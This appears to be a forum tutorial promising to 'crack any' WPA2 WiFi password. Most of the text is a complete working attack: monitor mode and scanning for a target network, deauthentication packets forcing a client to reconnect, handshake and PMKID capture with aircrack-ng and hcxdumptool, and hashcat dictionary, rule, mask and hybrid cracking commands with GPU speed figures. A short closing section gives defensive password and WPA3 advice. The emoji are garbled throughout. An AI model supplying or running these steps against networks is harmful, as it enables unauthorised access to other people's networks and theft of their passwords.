๐Ÿ”“ Crack Any WPA2 WiFi Password on Windows โ€” Full Step-by-Step Guide

:high_voltage: Capture the Handshake, Feed It to Your GPU, Watch It Crack

Capture the handshake. Feed it to your GPU. Watch 5 million guesses per second do the rest.

Most home WiFi passwords live inside a 14-million-word list thatโ€™s been public since 2009. This tutorial shows you exactly how that works.

WPA2-PSK protects 90% of home networks. Itโ€™s crackable with a $30 adapter, hashcat, and a wordlist. Every cracking step runs natively on Windows.


๐Ÿง  How WPA2 Cracking Actually Works โ€” Plain English

Think of your WiFi password as a secret handshake between your phone and your router. Every time a device connects, they exchange an encrypted conversation called a 4-way handshake to prove they both know the password.

That handshake travels through the air as radio waves. Anyone with the right antenna can capture it. They canโ€™t read the password directly โ€” itโ€™s encrypted โ€” but they can take that encrypted blob offline and throw millions of guesses at it until one matches.

Thatโ€™s what hashcat does. It takes the captured handshake, runs your GPU at full blast, and tests millions of passwords per second against it. If the password exists in a common wordlist like rockyou.txt โ€” 14 million leaked real passwords โ€” it cracks in seconds.

Concept What It Means
4-way handshake Encrypted proof that a device knows the WiFi password โ€” captured over the air
Hashcat GPU-powered tool that tests millions of password guesses per second against a captured handshake
Wordlist (rockyou.txt) 14 million+ real passwords leaked from breaches โ€” covers ~70% of home WiFi passwords
Monitor mode Special adapter mode that listens to ALL wireless traffic, not just your network
Deauthentication Sending a disconnect signal to force a device to reconnect โ€” triggering a fresh handshake

:high_voltage: Pro tip: Thereโ€™s also a newer attack called PMKID that grabs a hash directly from the router without needing any connected clients. Faster and cleaner โ€” covered in the advanced section below.

โš™๏ธ What You Need โ€” Hardware & Software
Component What It Does Where to Get It
WiFi adapter with monitor mode Built-in WiFi cards canโ€™t capture raw packets โ€” you need an external adapter that supports monitor mode + packet injection Alfa AWUS036ACH โ€” most recommended. Any Realtek RTL8812AU or Atheros chipset works.
Kali Linux (bootable USB) The capture phase needs Linux tools. Boot from USB, capture, reboot to Windows. kali.org/get-kali
Hashcat (Windows native) GPU-accelerated password cracker. Runs natively on Windows โ€” no Linux needed for cracking. hashcat.net/hashcat
rockyou.txt wordlist 14 million+ real leaked passwords Included in Kali at /usr/share/wordlists/rockyou.txt.gz โ€” copy to USB
hcxtools / cap2hashcat Converts .cap capture files to hashcatโ€™s .hc22000 format Online converter (no install) or GitHub - hcxtools Windows

The Windows workflow in 3 stages:

  1. :satellite_antenna: Capture โ€” Boot Kali from USB โ†’ capture handshake โ†’ save .cap file to USB stick (~5 min)
  2. :counterclockwise_arrows_button: Convert โ€” Back on Windows โ†’ upload .cap to hashcat.net/cap2hashcat โ†’ download .hc22000 file
  3. :fire: Crack โ€” Run hashcat on Windows with your GPU โ†’ password appears

Linux time: 5 minutes total. Everything else is Windows.

๐Ÿ“ก Step 1: Capture the Handshake (Kali USB)

Boot into Kali Linux from your USB drive. Plug in your external WiFi adapter.

1.1 โ€” Verify your adapter is detected:

lsusb

You should see your Alfa (or similar) adapter listed.

1.2 โ€” Enable monitor mode:

airmon-ng start wlan0

Your adapter is now wlan0mon โ€” it listens to all wireless traffic in range.

1.3 โ€” Scan for networks:

airodump-ng wlan0mon

This displays every WiFi network nearby:

Column What It Shows
BSSID Routerโ€™s MAC address (you need this)
CH Channel number (you need this)
ENC Encryption type โ€” look for WPA2
ESSID Network name
STATION Connected client devices (you need one of these)

Note down the BSSID, channel, and one client MAC address of your target network.

1.4 โ€” Focus on the target and start recording:

airodump-ng -c [CHANNEL] --bssid [TARGET_BSSID] -w capture wlan0mon

This locks onto one network and saves all traffic to capture-01.cap.

1.5 โ€” Force a handshake (deauthentication):

Open a second terminal:

aireplay-ng -0 5 -a [TARGET_BSSID] -c [CLIENT_MAC] wlan0mon

This sends 5 disconnect packets to the client device. It drops off the network for a split second, reconnects automatically, and sends a fresh handshake through the air โ€” which your adapter captures.

1.6 โ€” Confirm the handshake:

Watch the top-right of your airodump-ng window. When you see:

WPA handshake: [MAC_ADDRESS]

You have what you need. Press Ctrl+C to stop.

1.7 โ€” Copy files to USB:

cp capture-01.cap /media/[YOUR_USB_DRIVE]/
cp /usr/share/wordlists/rockyou.txt.gz /media/[YOUR_USB_DRIVE]/

Reboot into Windows.

๐Ÿ”„ Step 2: Convert the Capture File (Windows)

Hashcat needs .hc22000 format โ€” not raw .cap. Two ways to convert:

Option A โ€” Online converter (easiest, no install):

  1. Go to hashcat.net/cap2hashcat
  2. Upload your capture-01.cap file
  3. Download the converted .hc22000 file

Option B โ€” hcxpcapngtool locally (Windows binary):

Download pre-compiled Windows binaries from hcxtools-windows on GitHub, then:

hcxpcapngtool.exe -o hash.hc22000 capture-01.cap

Either way, you now have a hash.hc22000 file ready for cracking.

๐Ÿ”ฅ Step 3: Crack the Password (Hashcat on Windows)

Extract hashcat to a folder. Open Command Prompt or PowerShell. Decompress rockyou if needed:

gzip -d rockyou.txt.gz

Or use 7-Zip to extract it.

3.1 โ€” Basic dictionary attack:

hashcat.exe -m 22000 hash.hc22000 rockyou.txt
Flag What It Does
-m 22000 WPA-PBKDF2-PMKID+EAPOL hash mode (modern WPA2)
hash.hc22000 Your converted capture file
rockyou.txt 14 million passwords to try

If the password is in the wordlist โ€” it cracks in seconds to minutes depending on your GPU.

3.2 โ€” Dictionary + rules (smarter mutations):

hashcat.exe -m 22000 hash.hc22000 rockyou.txt -r rules/best64.rule

This takes every word in the list and mutates it โ€” adding numbers, capitalizing, appending years, reversing letters. Catches passwords like Fluffy2024! that arenโ€™t in the raw wordlist.

3.3 โ€” Brute-force digits only (phone numbers, PINs):

hashcat.exe -m 22000 hash.hc22000 -a 3 --increment --increment-min 8 --increment-max 12 ?d?d?d?d?d?d?d?d?d?d?d?d

Tests every possible combination of 8-12 digit numbers. Catches numeric-only passwords.

3.4 โ€” Hybrid: wordlist + digits appended:

hashcat.exe -m 22000 hash.hc22000 -a 6 rockyou.txt ?d?d?d?d

Tests every word with 4 digits appended โ€” catches patterns like monkey1234, dragon2025.

3.5 โ€” Check results:

hashcat.exe -m 22000 hash.hc22000 --show

:high_voltage: Performance tips:

Flag Effect
-w 3 Maximum GPU workload (PC becomes unresponsive โ€” fastest cracking)
-O Optimized kernels for passwords โ‰ค15 characters (significant speed boost)
--force Override warnings (use if hashcat complains about drivers)

Expected speeds by GPU:

GPU Approx. Speed
GTX 1060 ~100K H/s
RTX 3070 ~500K H/s
RTX 3090 ~800K H/s
RTX 4090 ~1.2M H/s
โšก Advanced: PMKID Attack (No Clients Needed)

The classic method above requires a connected device to deauthenticate. The PMKID attack skips that entirely โ€” it grabs a hash directly from the router.

Many routers cache a PMKID (Pairwise Master Key Identifier) for roaming. You can request it without any clients being connected.

In Kali:

# Stop interfering services
sudo systemctl stop NetworkManager.service
sudo systemctl stop wpa_supplicant.service

# Capture PMKIDs (runs for 60 seconds)
sudo hcxdumptool -i wlan0 -o dumpfile.pcapng --active_beacon --enable_status=15

# Convert to hashcat format
hcxpcapngtool -o hash.hc22000 -E essidlist dumpfile.pcapng

Back on Windows โ€” crack the same way:

hashcat.exe -m 22000 hash.hc22000 rockyou.txt
Classic Handshake PMKID
Needs a connected client No clients needed
Requires deauth + reconnect Requests hash directly from router
Can fail if no devices are online Works on any vulnerable router
Captures 4-way handshake Captures PMKID from first handshake message

Not every router is vulnerable to PMKID โ€” but many are. Try it first. Fall back to classic deauth if it doesnโ€™t work.

๐Ÿ›ก๏ธ How to Make YOUR WiFi Uncrackable

Everything above stops working the moment you fix your password.

Fix Why It Works
15+ character random passphrase correct-horse-battery-staple takes centuries. fluffy2024 takes seconds. Length wins.
Avoid dictionary words entirely If itโ€™s in rockyou.txt โ€” cracked before your GPU warms up
Enable WPA3 (if router supports it) WPA3 uses SAE โ€” immune to offline dictionary attacks entirely
Disable WPS WPS PIN can be brute-forced in hours. Itโ€™s a backdoor most people forget exists.
Use a random password generator openssl rand -base64 20 or any password manager. No wordlist will ever contain it.
Check connected devices regularly Router admin panel โ†’ Attached Devices. Unknown MACs = someoneโ€™s already in.

The real lesson: WPA2 isnโ€™t broken โ€” weak passwords are. A truly random 20-character password makes this entire tutorial useless. Thatโ€™s the point.

๐Ÿ› ๏ธ All Tools & Resources
Tool What It Does Link
Hashcat GPU password cracker (Windows native) hashcat.net
Aircrack-ng Monitor mode, scanning, deauth, capture aircrack-ng.org
hcxdumptool PMKID + handshake capture tool GitHub
hcxtools Convert captures to hashcat format GitHub
hcxtools Windows Pre-compiled Windows binaries GitHub
cap2hashcat online Convert without installing anything hashcat.net/cap2hashcat
Hashcat WPA2 wiki Official cracking documentation hashcat.net wiki
Kali Linux Penetration testing OS (USB bootable) kali.org
Alfa AWUS036ACH Most recommended monitor-mode adapter alfa.com.tw

:high_voltage: Quick Hits

Want Do
:satellite_antenna: Capture handshake โ†’ Kali USB โ†’ airmon-ng โ†’ airodump-ng โ†’ aireplay-ng
:satellite_antenna: Capture PMKID (no clients) โ†’ Kali โ†’ hcxdumptool โ†’ hcxpcapngtool
:counterclockwise_arrows_button: Convert for hashcat โ†’ hashcat.net/cap2hashcat
:fire: Crack on Windows โ†’ hashcat.exe -m 22000 hash.hc22000 rockyou.txt
:shield: Protect your WiFi โ†’ 15+ char random passphrase + WPA3 + disable WPS

Test your own network. Fix your own password. Donโ€™t be the one running โ€œpassword123โ€ in 2026.

9 ุฅุนุฌุงุจุงุช